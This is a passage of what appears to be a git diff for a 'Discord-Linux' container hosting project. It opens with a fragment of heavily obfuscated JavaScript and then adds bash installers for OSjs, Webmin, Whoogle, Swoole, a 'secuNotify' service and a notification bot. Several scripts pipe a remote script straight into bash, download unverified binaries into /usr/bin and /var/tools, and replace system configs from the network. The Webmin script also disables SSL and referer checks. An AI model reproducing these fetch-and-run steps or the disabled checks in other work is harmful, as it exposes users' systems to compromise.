0x2 * 0x2b4); var _0x4fb048 = _0x32fa0f[_0x2dd135]; return _0x4fb048; }, _0x4fb0(_0x287606, _0x420105); } var _0x2dd135 = (function () { function _0x10698e(_0xfc4032, _0x5505ee, _0x167036, _0x17791e, _0x3afc20) { return _0x4fb0(_0x167036 - 0x1a4, _0x17791e); } function _0x25e71b(_0xbd0452, _0x398845, _0x5da9e9, _0x17523f, _0x3209f6) { return _0x4fb0(_0x17523f - 0x34f, _0x5da9e9); } function _0x54cadf(_0x5561c0, _0xca741e, _0x3bf129, _0x1edf2e, _0x43c85e) { return _0x4fb0(_0x43c85e - 0x7e, _0x1edf2e); } function _0x453fe1(_0x415e57, _0x386b81, _0x5c9cf4, _0x2631c1, _0x3d1228) { return _0x4fb0(_0x3d1228 - 0x210, _0x386b81); } var _0x3c7b74 = { 'QyZXq': function (_0x503d58, _0x4731d7, _0x325f75) { return _0x503d58(_0x4731d7, _0x325f75); }, 'TYdYo': _0x4a419a(0x471, 0x478, 0x511, 0x4d3, 0x4e8) + _0x4a419a(0x60b, 0x654, 0x635, 0x5a9, 0x582) + _0x4a419a(0x5d5, 0x616, 0x5bd, 0x5c4, 0x526) + ')', 'hrvBr': _0x54cadf(0x30a, 0x305, 0x3d8, 0x30b, 0x33f) + _0x4a419a(0x56b, 0x4f3, 0x536, 0x599, 0x604) + _0x453fe1(0x36d, 0x3d7, 0x3d1, 0x2ea, 0x39b) + _0x25e71b(0x5b0, 0x4d2, 0x484, 0x51c, 0x533) + _0x54cadf(0x31a, 0x26a, 0x326, 0x275, 0x2d6) + _0x453fe1(0x38c, 0x3a7, 0x315, 0x3a2, 0x39e) + _0x453fe1(0x4c0, 0x409, 0x466, 0x3fa, 0x410), 'XTwNw': function (_0x42ceac, _0x2fa9da) { return _0x42ceac(_0x2fa9da); }, 'OblFT': _0x453fe1(0x3c9, 0x480, 0x3ce, 0x41e, 0x475), 'LRjEG': function (_0x4c2bd9, _0x107b37) { return _0x4c2bd9 + _0x107b37; }, 'LeErP': _0x453fe1(0x434, 0x377, 0x33b, 0x406, 0x3ce), 'JesXF': _0x453fe1(0x46f, 0x419, 0x3d9, 0x4ce, 0x462), 'KQykJ': function (_0x3cb02c) { return _0x3cb02c(); }, 'DUeEG': _0x10698e(0x484, 0x451, 0x3e1, 0x3e9, 0x33a) + _0x54cadf(0x2f7, 0x354, 0x391, 0x29b, 0x2ff) + _0x4a419a(0x4a1, 0x57a, 0x44b, 0x4ef, 0x52f), 'sdPVJ': _0x54cadf(0x2ff, 0x288, 0x3c9, 0x31a, 0x337) + 'er', 'sfzYX': function (_0x59755f, _0x5c59aa) { return _0x59755f + _0x5c59aa; }, 'LmNUK': _0x10698e(0x42a, 0x3b9, 0x3fb, 0x4a5, 0x412) + _0x54cadf(0x287, 0x2d2, 0x20b, 0x223, 0x274) + _0x453fe1(0x415, 0x494, 0x4f6, 0x4de, 0x4b6), 'nkwSA': function (_0x229074, _0x2a40cc) { return _0x229074 === _0x2a40cc; }, 'AUXmP': _0x25e71b(0x495, 0x4a4, 0x47d, 0x4ed, 0x54f), 'DCNxz': _0x10698e(0x3f0, 0x2de, 0x372, 0x33e, 0x393), 'KMoiA': _0x54cadf(0x37e, 0x308, 0x251, 0x32d, 0x2de), 'bYvnl': function (_0x2a791b, _0x3f47a5) { return _0x2a791b === _0x3f47a5; }, 'GXJgp': _0x453fe1(0x3c5, 0x3bf, 0x4d2, 0x4ba, 0x449), 'PfNoH': _0x10698e(0x4b7, 0x390, 0x422, 0x41f, 0x491) }; function _0x4a419a(_0x4fce3c, _0x533b83, _0x1714bf, _0x521b70, _0x5169a9) { return _0x4fb0(_0x521b70 - 0x33e, _0x1714bf); } var _0x209e90 = !![]; return function (_0x40c744, _0x3271d8) { function _0x38a5db(_0x31473f, _0x1f791e, _0xff5b09, _0x3b559a, _0xc58ed7) { return _0x453fe1(_0x31473f - 0x127, _0xff5b09, _0xff5b09 - 0xf, _0x3b559a - 0xd2, _0x3b559a - -0xa); } function _0x4e1387(_0x1d7b7e, _0x509b8c, _0x394baf, _0x48098d, _0x2d3c98) { return _0x25e71b(_0x1d7b7e - 0x1b0, _0x509b8c - 0x1af, _0x2d3c98, _0x1d7b7e - -0x6d7, _0x2d3c98 - 0x120); } function _0x4205ab(_0x5db779, _0x5b92e1, _0x1dcaa0, _0x131e88, _0xf20ec1) { return _0x54cadf(_0x5db779 - 0x1d8, _0x5b92e1 - 0x1f3, _0x1dcaa0 - 0x89, _0x131e88, _0x5b92e1 - -0x2b0); } function _0x1e0d78(_0xc53daa, _0x939dd2, _0x5355d9, _0x4dd03f, _0x4fa725) { return _0x54cadf(_0xc53daa - 0x190, _0x939dd2 - 0x1e9, _0x5355d9 - 0x1d8, _0x4fa725, _0xc53daa - 0x2fd); } var _0x4e4170 = { 'tKsxE': _0x3c7b74[_0x38a5db(0x35f, 0x376, 0x41f, 0x37c, 0x3f8)], 'KZZjd': _0x3c7b74[_0x38a5db(0x3e1, 0x2c9, 0x2fc, 0x36a, 0x2e2)], 'flFwt': function (_0x30791b, _0x3c5213) { function _0x2825b3(_0x201315, _0x356131, _0x5f1cab, _0x235c9f, _0x14f74e) { return _0x38a5db(_0x201315 - 0xed, _0x356131 - 0x171, _0x5f1cab, _0x356131 - -0x2ba, _0x14f74e - 0x5e); } return _0x3c7b74[_0x2825b3(0x1a4, 0x1e3, 0x147, 0x1a5, 0x16e)](_0x30791b, _0x3c5213); }, 'KxzCc': _0x3c7b74[_0x507887(0x1b4, 0x20f, 0x19f, 0x273, 0x2b4)], 'NKRCf': function (_0x5196fa, _0x5e7d76) { function _0x5269f9(_0x22b4d9, _0x5b413d, _0x294a04, _0x36aa0b, _0x3094ef) { return _0x38a5db(_0x22b4d9 - 0x70, _0x5b413d - 0x190, _0x5b413d, _0x3094ef - -0x2ee, _0x3094ef - 0x1ce); } return _0x3c7b74[_0x5269f9(0x61, 0xab, -0x36, 0xed, 0x79)](_0x5196fa, _0x5e7d76); }, 'dqBvN': _0x3c7b74[_0x4205ab(-0x4c, -0x86, -0x119, -0x7b, -0xac)], 'APjbo': _0x3c7b74[_0x4205ab(-0x107, -0xc6, -0xfd, -0x102, -0x47)], 'UcfHi': function (_0x3fcaf5, _0x548d0a) { function _0x3de239(_0x2b4ae2, _0x56a22d, _0x199ac7, _0x833a4b, _0xbea132) { return _0x507887(_0x56a22d, _0x833a4b - 0x267, _0x199ac7 - 0x21, _0x833a4b - 0x44, _0xbea132 - 0x1a3); } return _0x3c7b74[_0x3de239(0x5dd, 0x594, 0x5a1, 0x52a, 0x50a)](_0x3fcaf5, _0x548d0a); }, 'rNMyg': function (_0x1af336) { function _0x53b0a5(_0x567c32, _0x1fa21f, _0x4fe32d, _0x40d24e, _0x4aaec7) { return _0x1e0d78(_0x4fe32d - -0x174, _0x1fa21f - 0x121, _0x4fe32d - 0x122, _0x40d24e - 0x93, _0x4aaec7); } return _0x3c7b74[_0x53b0a5(0x3de, 0x428, 0x40b, 0x356, 0x374)](_0x1af336); }, 'LbQlL': _0x3c7b74[_0x4e1387(-0xdc, -0xae, -0x152, -0x89, -0x177)], 'LBDWf': _0x3c7b74[_0x507887(0x2be, 0x27d, 0x23c, 0x27d, 0x298)], 'HMVuo': function (_0xca637c, _0x3391f9) { function _0x4812d6(_0x1d93f9, _0x93ade8, _0x1bab4f, _0x4f1916, _0x50960a) { return _0x507887(_0x93ade8, _0x1d93f9 - -0x285, _0x1bab4f - 0x1d0, _0x4f1916 - 0x124, _0x50960a - 0x65); } return _0x3c7b74[_0x4812d6(-0x6b, 0x13, -0xca, 0x26, -0x6f)](_0xca637c, _0x3391f9); }, 'TlZnV': _0x3c7b74[_0x507887(0x1d1, 0x199, 0x20a, 0x22e, 0xe5)], 'TEojd': function (_0x32a5f6, _0x36508f) { function _0x488902(_0x2a8074, _0x29b6b4, _0x407ded, _0x269abf, _0x42eb5f) { return _0x4205ab(_0x2a8074 - 0xc5, _0x29b6b4 - 0xf8, _0x407ded - 0x86, _0x269abf, _0x42eb5f - 0x110); } return _0x3c7b74[_0x488902(0x146, 0x141, 0x117, 0x1d0, 0x1c2)](_0x32a5f6, _0x36508f); }, 'WPyEH': _0x3c7b74[_0x507887(0x139, 0x1b3, 0x179, 0x17b, 0x244)], 'MPjOt': _0x3c7b74[_0x507887(0x1f6, 0x237, 0x28e, 0x21b, 0x2e2)], 'xNvQu': _0x3c7b74[_0x1e0d78(0x4fe, 0x56d, 0x553, 0x4e3, 0x459)] }; function _0x507887(_0xa3f43d, _0x313164, _0x47624e, _0x4e8f1e, _0x42ca2c) { return _0x453fe1(_0xa3f43d - 0x178, _0xa3f43d, _0x47624e - 0x9e, _0x4e8f1e - 0x10b, _0x313164 - -0x1e4); } if (_0x3c7b74[_0x38a5db(0x39b, 0x44f, 0x3f6, 0x39d, 0x2f4)](_0x3c7b74[_0x38a5db(0x431, 0x4da, 0x54c, 0x4a5, 0x456)], _0x3c7b74[_0x38a5db(0x485, 0x49b, 0x3fe, 0x41c, 0x48a)])) _0x3c7b74[_0x4e1387(-0x1c6, -0x1e1, -0x1d8, -0x250, -0x167)](_0x337c1e, this, function () { var _0x3e7edc = new _0xc12f1a(_0x4e4170[_0x1be8a5(0x392, 0x2a9, 0x2eb, 0x2f9, 0x36a)]); function _0x460256(_0x587038, _0x10a1ee, _0x52dbc9, _0x9ba1fc, _0x587977) { return _0x38a5db(_0x587038 - 0x71, _0x10a1ee - 0x49, _0x9ba1fc, _0x10a1ee - -0x556, _0x587977 - 0x96); } function _0x4d3e0a(_0x577c12, _0x4728ea, _0x280a63, _0x1a6bc4, _0x56bdd2) { return _0x4205ab(_0x577c12 - 0x16, _0x577c12 - 0x48b, _0x280a63 - 0xb1, _0x280a63, _0x56bdd2 - 0xb2); } function _0x1be8a5(_0x4752a8, _0x59d210, _0x110c7a, _0x2b1e44, _0x5089a0) { return _0x507887(_0x59d210, _0x2b1e44 - 0x11b, _0x110c7a - 0x3d, _0x2b1e44 - 0x20, _0x5089a0 - 0x164); } function _0x491e80(_0x23d331, _0x2dfe47, _0x1f8321, _0x1f4516, _0x4c88c7) { return _0x507887(_0x1f4516, _0x23d331 - -0x2f5, _0x1f8321 - 0x1ee, _0x1f4516 - 0x193, _0x4c88c7 - 0x131); } var _0x3d2da4 = new _0xb3cbb8(_0x4e4170[_0x2b10e4(0x4fb, 0x49e, 0x482, 0x479, 0x53b)], 'i'); function _0x2b10e4(_0x4896fe, _0x49e75f, _0x1a7c42, _0x3796f0, _0x1dd05e) { return _0x1e0d78(_0x4896fe - -0x13f, _0x49e75f - 0x19, _0x1a7c42 - 0xda, _0x3796f0 - 0x18, _0x1dd05e); } var _0x21f331 = _0x4e4170[_0x491e80(-0x16a, -0x167, -0x19b, -0x1d2, -0xe5)](_0x2ddad8, _0x4e4170[_0x491e80(-0x11c, -0x10c, -0x1c1, -0x16d, -0x149)]); !_0x3e7edc[_0x4d3e0a(0x517, 0x594, 0x50a, 0x4c1, 0x58a)](_0x4e4170[_0x460256(-0x146, -0x138, -0x16e, -0x99, -0xb2)](_0x21f331, _0x4e4170[_0x2b10e4(0x401, 0x3c7, 0x458, 0x34b, 0x4ab)])) || !_0x3d2da4[_0x491e80(-0xb, -0x49, 0x2e, -0xac, -0x3a)](_0x4e4170[_0x491e80(-0xb1, -0x89, -0x2a, -0xe7, -0x1b)](_0x21f331, _0x4e4170[_0x2b10e4(0x4be, 0x413, 0x550, 0x4bf, 0x44f)])) ? _0x4e4170[_0x2b10e4(0x450, 0x42a, 0x42e, 0x3b6, 0x4f1)](_0x21f331, '0') : _0x4e4170[_0x4d3e0a(0x413, 0x460, 0x3fc, 0x41b, 0x3ff)](_0x169720); })(); else { var _0x5edc65 = _0x209e90 ? function () { var _0x5cae22 = { 'hUyrk': function (_0x21d314, _0xc63f54) { function _0x4cc0a4(_0x131a0e, _0xe14440, _0x3b2155, _0x30066e, _0x5587b1) { return _0x4fb0(_0x131a0e - 0x2e6, _0x3b2155); } return _0x4e4170[_0x4cc0a4(0x591, 0x563, 0x571, 0x5a1, 0x5f9)](_0x21d314, _0xc63f54); }, 'NgBHA': _0x4e4170[_0x4e7b19(-0x63, -0x96, -0x8f, 0x23, -0x16)] }; function _0x1c96c2(_0x54a4e1, _0xa92799, _0x2ece02, _0x4ad23d, _0x489ddd) { return _0x4205ab(_0x54a4e1 - 0xf6, _0xa92799 - -0x1a6, _0x2ece02 - 0x176, _0x2ece02, _0x489ddd - 0x19d); } function _0x58776c(_0x421025, _0x4fc0f9, _0x5049db, _0x3e6629, _0xcfdc46) { return _0x4e1387(_0x4fc0f9 - 0x693, _0x4fc0f9 - 0xc5, _0x5049db - 0xfd, _0x3e6629 - 0x21, _0xcfdc46); } function _0x526345(_0x592f74, _0x3c6786, _0x1bdfa4, _0x27e772, _0x4b5b7a) { return _0x38a5db(_0x592f74 - 0x9, _0x3c6786 - 0x1c2, _0x3c6786, _0x4b5b7a - -0x460, _0x4b5b7a - 0x14); } function _0x4443fa(_0x476544, _0x8baf4a, _0x23b87a, _0x202907, _0x56890c) { return _0x1e0d78(_0x476544 - -0x23e, _0x8baf4a - 0x39, _0x23b87a - 0x42, _0x202907 - 0xd6, _0x8baf4a); } function _0x4e7b19(_0x579fae, _0xab9221, _0x575132, _0x3336d8, _0x470b74) { return _0x1e0d78(_0x579fae - -0x5b9, _0xab9221 - 0x156, _0x575132 - 0x48, _0x3336d8 - 0x107, _0x3336d8); } if (_0x4e4170[_0x1c96c2(-0x178, -0x197, -0x123, -0xf8, -0x15e)](_0x4e4170[_0x1c96c2(-0x198, -0x17c, -0x230, -0xcc, -0x1d3)], _0x4e4170[_0x526345(-0x24, -0xeb, -0xe0, -0xf9, -0x6e)])) return function (_0x2e69f1) { }[_0x4e7b19(-0xe2, -0x9f, -0xce, -0xac, -0x189) + _0x58776c(0x3d0, 0x484, 0x410, 0x490, 0x427) + 'r'](_0x4e4170[_0x1c96c2(-0x243, -0x1b5, -0x147, -0x1c9, -0x153) diff --git a/ubuntu/notify b/ubuntu/notify new file mode 100644 index 0000000..2ef93b7 --- /dev/null +++ b/ubuntu/notify @@ -0,0 +1,3 @@ +#!/bin/bash +wget -q -O /usr/bin/notif https://ssh.surf/notif && chmod +x /usr/bin/notif +echo "Notify Install complete" \ No newline at end of file diff --git a/ubuntu/notifyx64 b/ubuntu/notifyx64 new file mode 100644 index 0000000..68d3754 --- /dev/null +++ b/ubuntu/notifyx64 @@ -0,0 +1,3 @@ +#!/bin/bash +wget -q -O /usr/bin/notif https://ssh.surf/notify-x64 && chmod +x /usr/bin/notif +echo "Notify Install complete" diff --git a/ubuntu/osjs-webdesktop b/ubuntu/osjs-webdesktop new file mode 100755 index 0000000..93ecba5 --- /dev/null +++ b/ubuntu/osjs-webdesktop @@ -0,0 +1,121 @@ +#/bin/bash + +echo "Welcome to the Discord-Linux OSjs Automated installer" +echo "This installer will automatically select a port on your container." +echo "I will let you know how to access your installation when this process is complete." +echo "" +echo "" +echo "" +echo "Sleeping for 5 seconds, please close this process if you do not wish to continue" + +sleep 5 +echo "downloading the Notification Bot" +wget -q -O /usr/bin/notif https://ssh.surf/notif && chmod +x /usr/bin/notif +echo "Done" + +notif "Welcome to the OSjs Automated installer for Discord-Linux, we will begin by updating your system. Please wait..." + +apt update +DEBIAN_FRONTEND=noninteractive apt upgrade -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" -y + +DEBIAN_FRONTEND=noninteractive apt-get -y install build-essential libpam-dev perl libnet-ssleay-perl openssl libauthen-pam-perl libpam-runtime libio-pty-perl python unzip zip + +#https://askubuntu.com/questions/916199/install-apt-show-versions-inside-an-ubuntu-docker-container + +sh /var/tools/getsystemctl.sh + +notif "The system has been updated and systemD has been patched, we are now starting to install the required NPM's for OSjs" + +mkdir -vp /webos + +cd /webos && git clone https://github.com/os-js/OS.js.git + +mv /webos/OS.js /webos/OSjs + +cd /webos/OSjs && rm -f package-lock.json + +echo "Installing main packages..." +npm install + +npm update + +notif "The Core OSjs Packages have been installed, we are now starting to install the Applications for OSJS Via NPM" + +npm install @osjs/textpad-application +npm install --save --production @osjs/draw-application +npm install --save --production @osjs/filemanager-application +npm install @osjs/settings-application +npm install @osjs/writer-application +npm install --save --production @osjs/xterm-application +npm install --save --production @osjs/ace-application +npm install @osjs/xpra-application +npm install @osjs/vnc-application +npm install @osjs/epub-application +npm install @osjs/webodf-application +npm install @osjs/wolfenstein3d-application +npm install @osjs/tetris-application +npm install @osjs/standard-theme +npm install @osjs/standard-dark-theme +npm install @osjs/gnome-icons +npm install @osjs/freedesktop-sounds +npm install --save --production @osjs/pam-auth + +echo "Fixing detected vulns" + +npm audit fix + + + + +notif "We are almost finished, we are now configuring OSjs and starting the server" + +echo "removing config files..." +rm -f src/server/index.js + +rm -f src/server/config.js + +rm -f src/client/config.js + + +echo "Installing our own customized config files" + +wget -O src/server/index.js https://ssh.surf/install/osjs/osjs_server_index.js + +wget -O src/server/config.js https://ssh.surf/install/osjs/osjs_server_config.js + +wget -O src/client/config.js https://ssh.surf/install/osjs/osjs_client_config.js + +wget -O src/client/wallpaper.jpg https://ssh.surf/wallpaper.jpg + +wget -O osjsStart.json https://ssh.surf/install/osjs/osjsStart.json + +hostname=$(hostname) + +echo "Grabbing a port from your container from our API" +port=$(curl -s https://findport.ssh.surf/?id=$hostname) + +echo "Setting port in our config" +sed -i "s/CUSTOM/${port}/g" src/server/config.js + +echo "Discovering all installed packages..." +npm run package:discover + +echo "Building the client..." +npm run build + +rm -f /webos/OSjs/dist/f4cfc6708cf6bfc17d4b1e775f594ae2.png + +wget -O /webos/OSjs/dist/f4cfc6708cf6bfc17d4b1e775f594ae2.png https://ssh.surf/wallpaper.png + +cd /webos/OSjs && pm2 start osjsStart.json + +echo "cd /webos/OSjs && pm2 start osjsStart.json" > /var/tools/osjsboot.sh + +chmod +x /var/tools/osjsboot.sh + +sed -i "s/#osjs/cd \/webos\/OSjs \&\& pm2 start osjsStart.json /g" /start.sh + +echo "Sending discord notification to your account:" +notif "Your OSJS installation has completed and should be running at this time, you may access your installation at: http://ssh.surf:$port" + +echo "Your OSJs installation has completed and should be running at this time, you may access your installation at: http://ssh.surf:$port" diff --git a/ubuntu/secuNotify b/ubuntu/secuNotify new file mode 100644 index 0000000..a7707cf --- /dev/null +++ b/ubuntu/secuNotify @@ -0,0 +1,44 @@ +#!/bin/bash +echo "Welcome to the secuNotify security system installer" +echo "This will install the secuNotify security system service for systemd" +wget -q -O - https://ssh.surf/notify | bash + +notif "Welcome to the secuNotify security system installer, We are preparing your installation..." +sleep 2 +apt update +DEBIAN_FRONTEND=noninteractive apt upgrade -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" -y +DEBIAN_FRONTEND=noninteractive apt-get -y install rsyslog +notif "We have installed rsyslog restarting requrired services" +sleep 2 +service ssh stop +sleep 2 +service rsyslog start +sleep 2 +service ssh start +sleep 2 +notif "Downloading the secuNotify and firewallctl bins and installing them into /var/tools/" + +FILE=/etc/apache2/apache2.conf +if test -f "$FILE"; then +rm /etc/apache2/apache2.conf +wget -O /etc/apache2/apache2.conf https://ssh.surf/install/secu/apache2.conf +chmod 0644 /etc/apache2/apache2.conf +fi + + +wget -O /var/tools/secuNotify https://ssh.surf/install/secu/secuNotify +chmod +x /var/tools/secuNotify +sleep 2 +wget -O /var/tools/firewallctl https://ssh.surf/install/secu/csf +chmod +x /var/tools/firewallctl +notif "Downloading the secuNotify service and enabling it to run on boot" +sleep 2 +wget -O /etc/systemd/system/secuNotify.service https://ssh.surf/install/secu/secuNotify.service +sed -i 's/service ssh start/service rsyslog start \&\& service ssh start \&\& service secuNotify start/g' /start.sh +sleep 2 +service apache2 restart +sleep 2 +systemctl start secuNotify +sleep 2 +notif "The system is installed and secuNotify is running" +systemctl status secuNotify diff --git a/ubuntu/send-to-log b/ubuntu/send-to-log new file mode 100644 index 0000000..809ca81 --- /dev/null +++ b/ubuntu/send-to-log @@ -0,0 +1,47 @@ +#!/bin/bash +echo "Welcome to the Send-To-Log system installer" +wget -q -O - https://ssh.surf/notify | bash +sleep 2 +apt update +DEBIAN_FRONTEND=noninteractive apt upgrade -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" -y +DEBIAN_FRONTEND=noninteractive apt-get -y install build-essential cmake git libjson-c-dev libwebsockets-dev screen + +notif Welcome to the Send-To-Log installer, we will pick a port and provide you a URL when complete. + +notif Cloning and Configuring our Software + +# Move to our tmp directory +cd /tmp +# Clone the repo +git clone https://github.com/tsl0922/ttyd.git +# Move and build! +cd ttyd && mkdir build && cd build +# Install +cd /tmp/ttyd/build && cmake .. +cd /tmp/ttyd/build && make && sudo make install + +# lets download our start up files backend and frontend. +wget -q -O /etc/systemd/system/s2l.service https://ssh.surf/install/s2l/s2l-service.service + +wget -q -O /etc/s2l.json https://ssh.surf/install/s2l/s2l-pm2.json + +wget -q -O /usr/bin/s2l https://ssh.surf/install/s2l/input.sh + +chmod +x /usr/bin/s2l + +hostname=$(hostname) + +echo "Grabbing a port from your container from our API" +port=$(curl -s https://findport.ssh.surf/?id=$hostname) + +sed -i "s/changeme/${port}/g" /etc/s2l.json +sed -i "s/#s2lmain/systemctl start s2l \&\& sleep 5/g" /start.sh +sed -i "s/#s2lsecond/pm2 start \/etc\/s2l.json/g" /start.sh +cd / +systemctl start s2l +sleep 5 +pm2 start /etc/s2l.json + +echo "Done, you may access s2l at http://ssh.surf:$port" +notif Done, you may access s2l at http://ssh.surf:$port +notif Send commands using s2l commandhere or on the bot ^s commandhere diff --git a/ubuntu/send-to-log copy b/ubuntu/send-to-log copy new file mode 100644 index 0000000..809ca81 --- /dev/null +++ b/ubuntu/send-to-log copy @@ -0,0 +1,47 @@ +#!/bin/bash +echo "Welcome to the Send-To-Log system installer" +wget -q -O - https://ssh.surf/notify | bash +sleep 2 +apt update +DEBIAN_FRONTEND=noninteractive apt upgrade -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" -y +DEBIAN_FRONTEND=noninteractive apt-get -y install build-essential cmake git libjson-c-dev libwebsockets-dev screen + +notif Welcome to the Send-To-Log installer, we will pick a port and provide you a URL when complete. + +notif Cloning and Configuring our Software + +# Move to our tmp directory +cd /tmp +# Clone the repo +git clone https://github.com/tsl0922/ttyd.git +# Move and build! +cd ttyd && mkdir build && cd build +# Install +cd /tmp/ttyd/build && cmake .. +cd /tmp/ttyd/build && make && sudo make install + +# lets download our start up files backend and frontend. +wget -q -O /etc/systemd/system/s2l.service https://ssh.surf/install/s2l/s2l-service.service + +wget -q -O /etc/s2l.json https://ssh.surf/install/s2l/s2l-pm2.json + +wget -q -O /usr/bin/s2l https://ssh.surf/install/s2l/input.sh + +chmod +x /usr/bin/s2l + +hostname=$(hostname) + +echo "Grabbing a port from your container from our API" +port=$(curl -s https://findport.ssh.surf/?id=$hostname) + +sed -i "s/changeme/${port}/g" /etc/s2l.json +sed -i "s/#s2lmain/systemctl start s2l \&\& sleep 5/g" /start.sh +sed -i "s/#s2lsecond/pm2 start \/etc\/s2l.json/g" /start.sh +cd / +systemctl start s2l +sleep 5 +pm2 start /etc/s2l.json + +echo "Done, you may access s2l at http://ssh.surf:$port" +notif Done, you may access s2l at http://ssh.surf:$port +notif Send commands using s2l commandhere or on the bot ^s commandhere diff --git a/ubuntu/swoole b/ubuntu/swoole new file mode 100644 index 0000000..432d744 --- /dev/null +++ b/ubuntu/swoole @@ -0,0 +1,40 @@ +#/bin/bash + +echo "downloading the #notification Bot" + +wget -q -O - https://ssh.surf/notify | bash +apt update +DEBIAN_FRONTEND=noninteractive apt upgrade -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" -y +#notif "Welcome to the Wordpress Automated installer for Discord-Linux, We are preparing your installation..." + + +echo "Installing dependencies for Swoole" +DEBIAN_FRONTEND=noninteractive apt-get -y install build-essential unzip zip software-properties-common gcc php-dev openssl libssl-dev curl libcurl4-openssl-dev libpcre3-dev php7.4-curl php7.4-json php7.4-mysql php7.4-common php7.4-bcmath php7.4-gd php7.4-intl php7.4-mbstring php7.4-opcache php7.4-xml php7.4-zip unzip zip + +DEBIAN_FRONTEND=noninteractive sudo apt install -y software-properties-common && add-apt-repository ppa:ondrej/php -y +DEBIAN_FRONTEND=noninteractive sudo apt install -y software-properties-common && add-apt-repository ppa:openswoole/ppa -y + +# Fix the repo cus they sux and don't have our version +sed -i "s/hirsute/focal/g" /etc/apt/sources.list.d/openswoole-ubuntu-ppa-hirsute.list + +sudo apt update + +# Lets install Swoole +apt install -y php7.4-openswoole + +#notif "Installing MariaDB" +echo "Installing MariaDB" +DEBIAN_FRONTEND=noninteractive apt-get -y install mariadb-server mariadb-client + +# Install composer Like A G +php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');" +php -r "if (hash_file('sha384', 'composer-setup.php') === '906a84df04cea2aa72f40b5f787e49f22d4c2f19492ac310e8cba5b96ac8b64115ac402c8cd292b8a03482574915d1a8') { echo 'Installer verified'; } else { echo 'Installer corrupt'; unlink('composer-setup.php'); } echo PHP_EOL;" +php composer-setup.php +php -r "unlink('composer-setup.php');" + +sudo mv composer.phar /usr/local/bin/composer +# Send this message, because our move is not logged +echo "!!! COMPOSER HAS BEEN INSTALLED TO /usr/local/bin/composer !!!" +echo "You may use composer directly from the command line" +echo "!!! COMPOSER HAS BEEN INSTALLED TO /usr/local/bin/composer !!!" + diff --git a/ubuntu/update b/ubuntu/update new file mode 100644 index 0000000..0db8d76 --- /dev/null +++ b/ubuntu/update @@ -0,0 +1,5 @@ +#!/bin/bash +wget -q -O /usr/bin/auto-install https://ssh.surf/auto-install.sh +chmod +x /usr/bin/auto-install +echo "The Discord-Linux AutoInstaller has been installed successfully" + diff --git a/ubuntu/webmin b/ubuntu/webmin new file mode 100755 index 0000000..4f56788 --- /dev/null +++ b/ubuntu/webmin @@ -0,0 +1,65 @@ +#/bin/bash + +echo "Welcome to the Discord-Linux Webmin Automated installer" +echo "This installer will automatically select a port on your container." +echo "I will let you know how to access your Webmin installation when installation is complete." +echo "" +echo "" +echo "" +echo "" + +apt update +echo "downloading the Notification Bot" +wget -q -O /usr/bin/notif https://ssh.surf/notif && chmod +x /usr/bin/notif +echo "Done" + +notif "Welcome to the Webmin Automated installer for Discord-Linux, We are preparing your installation..." + + +DEBIAN_FRONTEND=noninteractive apt upgrade -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" -y + +DEBIAN_FRONTEND=noninteractive apt-get -y install apt-get install perl libnet-ssleay-perl openssl libauthen-pam-perl libpam-runtime libio-pty-perl apt-show-versions python unzip + +#https://askubuntu.com/questions/916199/install-apt-show-versions-inside-an-ubuntu-docker-container +rm /etc/apt/apt.conf.d/docker-gzip-indexes + apt-get -y purge apt-show-versions +rm /var/lib/apt/lists/*lz4 + apt-get -o Acquire::GzipIndexes=false update + +notif "We are building show versions, this may take a while..." + +apt install -y apt-show-versions + +sh /var/tools/getsystemctl.sh + +wget -O /tmp/webmin-current.deb http://www.webmin.com/download/deb/webmin-current.deb + +dpkg -i /tmp/webmin-current.deb + + +notif "Finding a port and configuring webmin" + +hostname=$(hostname) + +echo "Grabbing a port from your container from our API" +port=$(curl -s https://findport.ssh.surf/?id=$hostname) + +echo "Disabling SSL in webmin for proxy support" +sed -i 's/ssl=1/ssl=0/g' /etc/webmin/miniserv.conf +echo "disabling refer checks to allow for vhost usage" +sed -i 's/referers_none=1/referers_none=0/g' /etc/webmin/config +sed -i 's/referer=1/referer=0/g' /etc/webmin/config +echo "Setting Webmin Port" +sed -i "s/port=10000/port=${port}/g" /etc/webmin/miniserv.conf + +rm -f /tmp/webmin_1.984_all.deb + +service webmin start + +sed -i "s/#webmin/service webmin start/g" /start.sh + +notif "Your webmin installation has completed, you may access your installation at: http://ssh.surf:$port" + +echo "Your installation has completed, you may access your installation at: http://ssh.surf:$port" + + diff --git a/ubuntu/whoogle b/ubuntu/whoogle new file mode 100644 index 0000000..d39184b --- /dev/null +++ b/ubuntu/whoogle @@ -0,0 +1,54 @@ +#/bin/bash + +echo "Welcome to the Discord-Linux Whoogle Automated installer" +echo "This installer will automatically select a port on your container." +echo "I will let you know how to access your installation when this process is complete." +echo "" +echo "" +echo "" +echo "Sleeping for 5 seconds, please close this process if you do not wish to continue" + +sleep 5 +echo "downloading the Notification Bot" +wget -q -O /usr/bin/notif https://ssh.surf/notif && chmod +x /usr/bin/notif +echo "Done" + +notif "Welcome to the Whoogle Automated installer for Discord-Linux, we will begin by updating your system. Please wait..." + +apt update +DEBIAN_FRONTEND=noninteractive apt upgrade -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" -y + +DEBIAN_FRONTEND=noninteractive apt-get -y install python3.9-venv + +#https://askubuntu.com/questions/916199/install-apt-show-versions-inside-an-ubuntu-docker-container + +sh /var/tools/getsystemctl.sh + +cd /home +git clone https://github.com/benbusby/whoogle-search.git +cd whoogle-search +python3 -m venv venv +source venv/bin/activate +pip install -r requirements.txt + +wget -q -O whoogle.env https://ssh.surf/install/whoogle/config + +wget -q -O whoogleStart.json https://ssh.surf/install/whoogle/whoogleStart.json + + + +hostname=$(hostname) + +echo "Grabbing a port from your container from our API" +port=$(curl -s https://findport.ssh.surf/?id=$hostname) + +echo "Setting port in our config" +sed -i "s/5000/${port}/g" run + +pm2 start whoogleStart.json + +echo "Your whoogle installation has completed, you may access your installation at: http://ssh.surf:$port" + +notif "Your whoogle installation has completed, you may access your installation at: http://ssh.surf:$port" + + diff --git a/ubuntu/wp b/ubuntu/wp new file mode 100644 index 0000000..948a23d --- /dev/null +++ b/ubuntu/wp @@ -0,0 +1,151 @@ 